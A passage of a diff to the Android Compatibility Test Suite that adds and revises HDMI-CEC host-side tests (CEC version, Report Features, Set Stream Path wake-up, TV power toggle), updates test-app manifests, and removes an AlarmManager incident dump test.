+                requiredMessages.get(1)).isEqualTo(CecOperand.REPORT_PHYSICAL_ADDRESS);
+    }
+
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
index e6bd499..c520030 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
@@ -16,13 +16,14 @@
 
 package android.hdmicec.cts.common;
 
+import static android.hdmicec.cts.HdmiCecConstants.TIMEOUT_SAFETY_MS;
+
 import static com.google.common.truth.Truth.assertThat;
 
-
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
-import android.hdmicec.cts.CecClientMessage;
 import android.hdmicec.cts.CecMessage;
 import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
 import android.hdmicec.cts.LogicalAddress;
 
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -39,9 +40,6 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecSystemInformationTest extends BaseHdmiCecCtsTest {
 
-    /** The version number 0x05 refers to CEC v1.4 */
-    private static final int CEC_VERSION_NUMBER = 0x05;
-
     @Rule
     public RuleChain ruleChain =
             RuleChain
@@ -50,20 +48,6 @@
                     .around(hdmiCecClient);
 
     /**
-     * Test 11.2.6-1
-     * Tests for Ack {@code <Polling Message>} message.
-     */
-    @Test
-    public void cect_11_2_6_1_Ack() throws Exception {
-        String command = CecClientMessage.POLL + " " + mDutLogicalAddress;
-        String expectedOutput = "POLL sent";
-        hdmiCecClient.sendConsoleMessage(command);
-        if (!hdmiCecClient.checkConsoleOutput(expectedOutput)) {
-            throw new Exception("Could not find " + expectedOutput);
-        }
-    }
-
-    /**
      * Tests 11.2.6-2, 10.1.1.1-1
      *
      * <p>Tests that the device sends a {@code <Report Physical Address>} in response to a {@code
@@ -94,16 +78,95 @@
     }
 
     /**
+     * Tests {@code <Report Features>}
+     *
+     * <p>Tests that the device reports the correct information in {@code <Report Features>} in
+     * response to a {@code <Give Features>} message.
+     */
+    @Test
+    public void cect_reportFeatures_deviceTypeContainedInAllDeviceTypes() throws Exception {
+        setCec20();
+        List<LogicalAddress> testDevices =
+                Arrays.asList(
+                        LogicalAddress.TV,
+                        LogicalAddress.RECORDER_1,
+                        LogicalAddress.TUNER_1,
+                        LogicalAddress.PLAYBACK_1,
+                        LogicalAddress.AUDIO_SYSTEM,
+                        LogicalAddress.BROADCAST);
+        for (LogicalAddress testDevice : testDevices) {
+            if (testDevice == mDutLogicalAddress) {
+                /* Skip the DUT logical address */
+                continue;
+            }
+            hdmiCecClient.sendCecMessage(testDevice, CecOperand.GIVE_FEATURES);
+            String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_FEATURES);
+            int receivedParams = CecMessage.getParams(message, 2, 4);
+
+            int deviceType = 0;
+            switch (mDutLogicalAddress.getDeviceType()) {
+                case HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE:
+                    deviceType = 1 << 4;
+                    break;
+                case HdmiCecConstants.CEC_DEVICE_TYPE_TV:
+                    deviceType = 1 << 7;
+                    break;
+                case HdmiCecConstants.CEC_DEVICE_TYPE_AUDIO_SYSTEM:
+                    deviceType = 1 << 3;
+                    break;
+                case HdmiCecConstants.CEC_DEVICE_TYPE_RECORDER:
+                    deviceType = 1 << 6;
+                    break;
+                case HdmiCecConstants.CEC_DEVICE_TYPE_TUNER:
+                    deviceType = 1 << 5;
+                    break;
+                case HdmiCecConstants.CEC_DEVICE_TYPE_RESERVED:
+                    break;
+            }
+
+            assertThat(receivedParams & deviceType).isNotEqualTo(1);
+        }
+    }
+
+    /**
      * Test 11.2.6-6
      * Tests that the device sends a {@code <CEC Version>} in response to a {@code <Get CEC
      * Version>}
      */
     @Test
     public void cect_11_2_6_6_GiveCecVersion() throws Exception {
+        int cecVersion = HdmiCecConstants.CEC_VERSION_1_4;
+
         hdmiCecClient.sendCecMessage(hdmiCecClient.getSelfDevice(), CecOperand.GET_CEC_VERSION);
         String message =
                 hdmiCecClient.checkExpectedOutput(
                         hdmiCecClient.getSelfDevice(), CecOperand.CEC_VERSION);
-        assertThat(CecMessage.getParams(message)).isEqualTo(CEC_VERSION_NUMBER);
+        assertThat(CecMessage.getParams(message)).isEqualTo(cecVersion);
+    }
+
+    /**
+     * Test HF4-2-12
+     * Tests that the device sends a {@code <CEC Version>} with correct version argument in
+     * response to a {@code <Get CEC Version>} message.
+     *
+     * Also verifies that the CEC version reported in {@code <Report Features>} matches the CEC
+     * version reported in {@code <CEC Version>}.
+     */
+    @Test
+    public void cect_hf4_2_12_GiveCecVersion() throws Exception {
+        int cecVersion = HdmiCecConstants.CEC_VERSION_2_0;
+        setCec20();
+
+        hdmiCecClient.sendCecMessage(hdmiCecClient.getSelfDevice(), CecOperand.GET_CEC_VERSION);
+        String reportCecVersion = hdmiCecClient.checkExpectedOutput(hdmiCecClient.getSelfDevice(),
+                CecOperand.CEC_VERSION);
+        assertThat(CecMessage.getParams(reportCecVersion)).isEqualTo(cecVersion);
+
+        Thread.sleep(TIMEOUT_SAFETY_MS);
+
+        hdmiCecClient.sendCecMessage(hdmiCecClient.getSelfDevice(), CecOperand.GIVE_FEATURES);
+        String reportFeatures = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
+                CecOperand.REPORT_FEATURES);
+        assertThat(CecMessage.getParams(reportFeatures, 2)).isEqualTo(cecVersion);
     }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java
new file mode 100644
index 0000000..50e6ded
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.playback;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.TimeUnit;
+
+/**
+ * HDMI CEC tests verifying power status related messages of the device (CEC 2.0 CTS Section 7.6)
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecPowerStatusTest extends BaseHdmiCecCtsTest {
+
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain
+                    .outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
+                    .around(hdmiCecClient);
+
+    /**
+     * Test HF4-6-7
+     * Same as Test HF4-6-9
+     *
+     * Tests that a device comes out of the Standby state when it receives a {@code <Set Stream
+     * Path>} message with its Physical Address as operand.
+     *
+     * Only applies if the DUT has Primary Device "Playback Device", "Recording Device", or "Tuner".
+     */
+    @Test
+    public void cect_hf4_6_7_setStreamPath_powerOn() throws Exception {
+        ITestDevice device = getDevice();
+
+        try {
+            device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+
+            TimeUnit.SECONDS.sleep(HdmiCecConstants.MAX_SLEEP_TIME_SECONDS);
+
+            String wakeStateBefore = device.executeShellCommand(
+                    "dumpsys power | grep mWakefulness=");
+            assertThat(wakeStateBefore.trim()).isEqualTo("mWakefulness=Asleep");
+
+            hdmiCecClient.sendCecMessage(
+                    LogicalAddress.TV,
+                    LogicalAddress.BROADCAST,
+                    CecOperand.SET_STREAM_PATH,
+                    CecMessage.formatParams(getDumpsysPhysicalAddress(),
+                            HdmiCecConstants.PHYSICAL_ADDRESS_LENGTH));
+
+            TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
+            String wakeStateAfter = device.executeShellCommand(
+                    "dumpsys power | grep mWakefulness=");
+            assertWithMessage("Device should wake up on <Set Stream Path>")
+                    .that(wakeStateAfter.trim()).isEqualTo("mWakefulness=Awake");
+        } finally {
+            device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        }
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java
index 54b9be2..c2654cf 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java
@@ -16,14 +16,13 @@
 
 package android.hdmicec.cts.playback;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
 import android.hdmicec.cts.CecMessage;
 import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
 import android.hdmicec.cts.HdmiCecConstants;
 import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
 
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -54,6 +53,36 @@
             .around(hdmiCecClient);
 
     /**
+     * Test 11.1.2-2, HF4-7-2
+     *
+     * Tests that the device does not respond to a {@code <Request Active Source>} message
+     * when it is not the current active source.
+     */
+    @Test
+    public void cect_11_1_2_2_RequestActiveSource() throws Exception {
+        ITestDevice device = getDevice();
+
+        hdmiCecClient.sendCecMessage(
+                LogicalAddress.TV,
+                LogicalAddress.BROADCAST,
+                CecOperand.ACTIVE_SOURCE,
+                CecMessage.formatParams(HdmiCecConstants.TV_PHYSICAL_ADDRESS,
+                        HdmiCecConstants.PHYSICAL_ADDRESS_LENGTH));
+
+        TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
+
+        String isActiveSource = device.executeShellCommand(
+                "dumpsys hdmi_control | grep \"isActiveSource()\"");
+        assertThat(isActiveSource.trim()).isEqualTo("isActiveSource(): false");
+
+        hdmiCecClient.sendCecMessage(LogicalAddress.TV, LogicalAddress.BROADCAST,
+                CecOperand.REQUEST_ACTIVE_SOURCE);
+
+        hdmiCecClient.checkOutputDoesNotContainMessage(
+                LogicalAddress.BROADCAST, CecOperand.ACTIVE_SOURCE);
+    }
+
+    /**
      * Test 11.2.2-1
      * Tests that the device broadcasts a <ACTIVE_SOURCE> in response to a <SET_STREAM_PATH>, when
      * the TV has switched to a different input.
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java
new file mode 100644
index 0000000..93586ec
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java
@@ -0,0 +1,180 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.playback;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecClientWrapper;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+import android.hdmicec.cts.RequiredPropertyRule;
+import android.hdmicec.cts.RequiredFeatureRule;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static android.hdmicec.cts.HdmiCecConstants.TIMEOUT_SAFETY_MS;
+
+import java.util.concurrent.TimeUnit;
+
+/**
+ * HDMI CEC test to verify TV power toggle behavior
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecTvPowerToggleTest extends BaseHdmiCecCtsTest {
+
+    private static final int ON = 0x0;
+    private static final int OFF = 0x1;
+
+    private static final LogicalAddress PLAYBACK_DEVICE = LogicalAddress.PLAYBACK_1;
+    private static final String POWER_CONTROL_MODE =
+            "hdmi_control_send_standby_on_sleep";
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain
+                    .outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
+                    .around(hdmiCecClient);
+
+    public HdmiCecTvPowerToggleTest() {
+        super(LogicalAddress.PLAYBACK_1);
+    }
+
+    private String setPowerControlMode(String valToSet) throws Exception {
+        ITestDevice device = getDevice();
+        String val = device.executeShellCommand("settings get global " +
+                POWER_CONTROL_MODE).trim();
+        device.executeShellCommand("settings put global "
+                + POWER_CONTROL_MODE + " " + valToSet);
+        return val;
+    }
+
+    /**
+     * Tests that KEYCODE_TV_POWER functions as a TV power toggle.
+     * Device is awake and not active source. TV is on.
+     */
+    @Test
+    public void cectTvPowerToggleTest_awake_noActiveSource_tvOn() throws Exception {
+        ITestDevice device = getDevice();
+        // Make sure the device is not booting up/in standby
+        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        String previousPowerControlMode = setPowerControlMode("to_tv");
+        try {
+            hdmiCecClient.sendCecMessage(LogicalAddress.TV, LogicalAddress.BROADCAST,
+                    CecOperand.ACTIVE_SOURCE, CecMessage.formatParams("0000"));
+            Thread.sleep(TIMEOUT_SAFETY_MS);
+            device.executeShellCommand("input keyevent KEYCODE_TV_POWER");
+            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
+            hdmiCecClient.sendCecMessage(LogicalAddress.TV, PLAYBACK_DEVICE,
+                    CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(ON));
+            // Verify that device is asleep and <Standby> was sent to TV.
+            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.STANDBY);
+            String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
+            assertThat(wakeState.trim()).isEqualTo("mWakefulness=Asleep");
+        } finally {
+            setPowerControlMode(previousPowerControlMode);
+        }
+    }
+
+    /**
+     * Tests that KEYCODE_TV_POWER functions as a TV power toggle.
+     * Device is awake and active source. TV is on.
+     */
+    @Test
+    public void cectTvPowerToggleTest_awake_activeSource_tvOn() throws Exception {
+        ITestDevice device = getDevice();
+        // Make sure the device is not booting up/in standby
+        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        String previousPowerControlMode = setPowerControlMode("to_tv");
+        try {
+            device.executeShellCommand("input keyevent KEYCODE_HOME");
+            TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
+            device.executeShellCommand("input keyevent KEYCODE_TV_POWER");
+            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
+            hdmiCecClient.sendCecMessage(LogicalAddress.TV, PLAYBACK_DEVICE,
+                    CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(ON));
+            // Verify that device is asleep and <Standby> was sent to TV.
+            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.STANDBY);
+            String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
+            assertThat(wakeState.trim()).isEqualTo("mWakefulness=Asleep");
+        } finally {
+            setPowerControlMode(previousPowerControlMode);
+        }
+    }
+
+    /**
+     * Tests that KEYCODE_TV_POWER functions as a TV power toggle.
+     * Device is asleep. TV is on.
+     */
+    @Test
+    public void cectTvPowerToggleTest_asleep_tvOn() throws Exception {
+        ITestDevice device = getDevice();
+        // Make sure the device is not booting up/in standby
+        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        String previousPowerControlMode = setPowerControlMode("to_tv");
+        try {
+            device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+            TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
+            device.executeShellCommand("input keyevent KEYCODE_TV_POWER");
+            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
+            hdmiCecClient.sendCecMessage(LogicalAddress.TV, PLAYBACK_DEVICE,
+                    CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(ON));
+            // Verify that device is asleep and <Standby> was sent to TV.
+            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.STANDBY);
+            String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
+            assertThat(wakeState.trim()).isEqualTo("mWakefulness=Asleep");
+        } finally {
+            setPowerControlMode(previousPowerControlMode);
+        }
+    }
+
+    /**
+     * Tests that KEYCODE_TV_POWER functions as a TV power toggle.
+     * Device is asleep. TV is off.
+     */
+    @Test
+    public void cectTvPowerToggleTest_asleep_tvOff() throws Exception {
+        ITestDevice device = getDevice();
+        // Make sure the device is not booting up/in standby
+        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        String previousPowerControlMode = setPowerControlMode("to_tv");
+        try {
+            device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+            TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
+            device.executeShellCommand("input keyevent KEYCODE_TV_POWER");
+            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
+            hdmiCecClient.sendCecMessage(LogicalAddress.TV, PLAYBACK_DEVICE,
+                    CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(OFF));
+            // Verify that device is awake and <Text View On> and <Active Source> were sent.
+            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.TEXT_VIEW_ON);
+            hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST, CecOperand.ACTIVE_SOURCE);
+            String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
+            assertThat(wakeState.trim()).isEqualTo("mWakefulness=Awake");
+        } finally {
+            setPowerControlMode(previousPowerControlMode);
+        }
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml b/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml
index 575233a..e602e23 100644
--- a/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml
+++ b/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml
@@ -21,14 +21,17 @@
     <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
     <uses-permission android:name="android.permission.BLUETOOTH"/>
     <uses-permission android:name="android.permission.BLUETOOTH_ADMIN"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_ADVERTISE"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_SCAN"/>
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
     <uses-permission android:name="android.permission.INTERNET" />
     <uses-permission android:name="android.permission.WAKE_LOCK" />
     <uses-permission android:name="android.permission.READ_SYNC_STATS" />
     <uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS" />
+    <uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM"/>
     <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
-
     <application android:label="@string/app_name">
         <uses-library android:name="android.test.runner" />
         <uses-library android:name="org.apache.http.legacy" android:required="false" />
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java
index 9b6c23f..206edb6 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java
@@ -64,7 +64,7 @@
         for (int i = 0; i < NUM_ALARMS; i++) {
             alm.setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP,
                     SystemClock.elapsedRealtime() + (i + 1) * 1000,
-                    PendingIntent.getBroadcast(context, i, intent, 0));
+                    PendingIntent.getBroadcast(context, i, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
         }
         assertTrue("Didn't receive all broadcasts.", latch.await(60 * 1000, TimeUnit.SECONDS));
     }
diff --git a/hostsidetests/incident/apps/boundwidgetapp/AndroidManifest.xml b/hostsidetests/incident/apps/boundwidgetapp/AndroidManifest.xml
index 9825d5c..e2b1268 100644
--- a/hostsidetests/incident/apps/boundwidgetapp/AndroidManifest.xml
+++ b/hostsidetests/incident/apps/boundwidgetapp/AndroidManifest.xml
@@ -16,34 +16,36 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-  package="android.appwidget.cts">
+     package="android.appwidget.cts">
 
     <application>
 
       <uses-library android:name="android.test.runner"/>
 
-      <receiver android:name="android.appwidget.cts.provider.FirstAppWidgetProvider" >
+      <receiver android:name="android.appwidget.cts.provider.FirstAppWidgetProvider"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+              <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/>
           </intent-filter>
           <meta-data android:name="android.appwidget.provider"
-              android:resource="@xml/appwidget_info" />
+               android:resource="@xml/appwidget_info"/>
       </receiver>
 
-      <receiver android:name="android.appwidget.cts.provider.SecondAppWidgetProvider" >
+      <receiver android:name="android.appwidget.cts.provider.SecondAppWidgetProvider"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+              <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/>
           </intent-filter>
           <meta-data android:name="android.appwidget.provider"
-              android:resource="@xml/appwidget_info" />
+               android:resource="@xml/appwidget_info"/>
       </receiver>
 
   </application>
 
   <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-      android:targetPackage="android.appwidget.cts"
-      android:label="CTS Tests for the dumpsys protobuf protocol">
+       android:targetPackage="android.appwidget.cts"
+       android:label="CTS Tests for the dumpsys protobuf protocol">
       <meta-data android:name="listener"
-          android:value="com.android.cts.runner.CtsTestRunListener" />
+           android:value="com.android.cts.runner.CtsTestRunListener"/>
   </instrumentation>
 </manifest>
diff --git a/hostsidetests/incident/src/com/android/server/cts/AlarmManagerIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/AlarmManagerIncidentTest.java
deleted file mode 100644
index 8093dc3..0000000
--- a/hostsidetests/incident/src/com/android/server/cts/AlarmManagerIncidentTest.java
+++ /dev/null
@@ -1,219 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts;
-
-import com.android.server.AlarmClockMetadataProto;
-import com.android.server.AlarmManagerServiceDumpProto;
-import com.android.server.AlarmProto;
-import com.android.server.BatchProto;
-import com.android.server.BroadcastStatsProto;
-import com.android.server.ConstantsProto;
-import com.android.server.FilterStatsProto;
-import com.android.server.AppStateTrackerProto;
-import com.android.server.AppStateTrackerProto.RunAnyInBackgroundRestrictedPackages;
-import com.android.server.IdleDispatchEntryProto;
-import com.android.server.InFlightProto;
-import com.android.server.WakeupEventProto;
-import java.util.List;
-
-/**
- * Test to check that the alarm manager service properly outputs its dump state.
- */
-public class AlarmManagerIncidentTest extends ProtoDumpTestCase {
-    public void testAlarmManagerServiceDump() throws Exception {
-        final AlarmManagerServiceDumpProto dump =
-                getDump(AlarmManagerServiceDumpProto.parser(), "dumpsys alarm --proto");
-
-        verifyAlarmManagerServiceDumpProto(dump, PRIVACY_NONE);
-    }
-
-    static void verifyAlarmManagerServiceDumpProto(AlarmManagerServiceDumpProto dump, final int filterLevel) throws Exception {
-        // Times should be positive.
-        assertTrue(0 < dump.getCurrentTime());
-        assertTrue(0 < dump.getElapsedRealtime());
-        // Can be 0 if the time hasn't been changed yet.
-        assertTrue(0 <= dump.getLastTimeChangeClockTime());
-        assertTrue(0 <= dump.getLastTimeChangeRealtime());
-
-        // ConstantsProto
-        ConstantsProto settings = dump.getSettings();
-        assertTrue(0 < settings.getMinFuturityDurationMs());
-        assertTrue(0 < settings.getMinIntervalDurationMs());
-        assertTrue(0 < settings.getListenerTimeoutDurationMs());
-        assertTrue(0 < settings.getAllowWhileIdleShortDurationMs());
-        assertTrue(0 < settings.getAllowWhileIdleLongDurationMs());
-        assertTrue(0 < settings.getAllowWhileIdleWhitelistDurationMs());
-
-        // AppStateTrackerProto
-        AppStateTrackerProto appStateTracker = dump.getAppStateTracker();
-        for (int uid : appStateTracker.getForegroundUidsList()) {
-            // 0 is technically a valid UID.
-            assertTrue(0 <= uid);
-        }
-        for (int aid : appStateTracker.getPowerSaveWhitelistAppIdsList()) {
-            assertTrue(0 <= aid);
-        }
-        for (int aid : appStateTracker.getTempPowerSaveWhitelistAppIdsList()) {
-            assertTrue(0 <= aid);
-        }
-        for (RunAnyInBackgroundRestrictedPackages r : appStateTracker.getRunAnyInBackgroundRestrictedPackagesList()) {
-            assertTrue(0 <= r.getUid());
-        }
-
-        if (!dump.getIsInteractive()) {
-            // These are only valid if is_interactive is false.
-            assertTrue(0 < dump.getTimeSinceNonInteractiveMs());
-            assertTrue(0 < dump.getMaxWakeupDelayMs());
-            assertTrue(0 < dump.getTimeSinceLastDispatchMs());
-            // time_until_next_non_wakeup_delivery_ms could be negative if the delivery time is in the past.
-        }
-
-        assertTrue(0 < dump.getTimeUntilNextWakeupMs());
-        assertTrue(0 < dump.getTimeSinceLastWakeupMs());
-        assertTrue(0 < dump.getTimeSinceLastWakeupSetMs());
-        assertTrue(0 <= dump.getTimeChangeEventCount());
-
-        for (int aid : dump.getDeviceIdleUserWhitelistAppIdsList()) {
-            assertTrue(0 <= aid);
-        }
-
-        // AlarmClockMetadataProto
-        for (AlarmClockMetadataProto ac : dump.getNextAlarmClockMetadataList()) {
-            assertTrue(0 <= ac.getUser());
-            assertTrue(0 < ac.getTriggerTimeMs());
-        }
-
-        for (BatchProto b : dump.getPendingAlarmBatchesList()) {
-            final long start = b.getStartRealtime();
-            final long end = b.getEndRealtime();
-            assertTrue("Batch start time (" + start+ ") is negative", 0 <= start);
-            assertTrue("Batch end time (" + end + ") is negative", 0 <= end);
-            assertTrue("Batch start time (" + start + ") is after its end time (" + end + ")",
-                start <= end);
-            testAlarmProtoList(b.getAlarmsList(), filterLevel);
-        }
-
-        testAlarmProtoList(dump.getPendingUserBlockedBackgroundAlarmsList(), filterLevel);
-
-        testAlarmProto(dump.getPendingIdleUntil(), filterLevel);
-
-        testAlarmProtoList(dump.getPendingWhileIdleAlarmsList(), filterLevel);
-
-        testAlarmProto(dump.getNextWakeFromIdle(), filterLevel);
-
-        testAlarmProtoList(dump.getPastDueNonWakeupAlarmsList(), filterLevel);
-
-        assertTrue(0 <= dump.getDelayedAlarmCount());
-        assertTrue(0 <= dump.getTotalDelayTimeMs());
-        assertTrue(0 <= dump.getMaxDelayDurationMs());
-        assertTrue(0 <= dump.getMaxNonInteractiveDurationMs());
-
-        assertTrue(0 <= dump.getBroadcastRefCount());
-        assertTrue(0 <= dump.getPendingIntentSendCount());
-        assertTrue(0 <= dump.getPendingIntentFinishCount());
-        assertTrue(0 <= dump.getListenerSendCount());
-        assertTrue(0 <= dump.getListenerFinishCount());
-
-        for (InFlightProto f : dump.getOutstandingDeliveriesList())  {
-            assertTrue(0 <= f.getUid());
-            assertTrue(0 < f.getWhenElapsedMs());
-            testBroadcastStatsProto(f.getBroadcastStats());
-            testFilterStatsProto(f.getFilterStats(), filterLevel);
-            if (filterLevel == PRIVACY_AUTO) {
-                assertTrue(f.getTag().isEmpty());
-            }
-        }
-
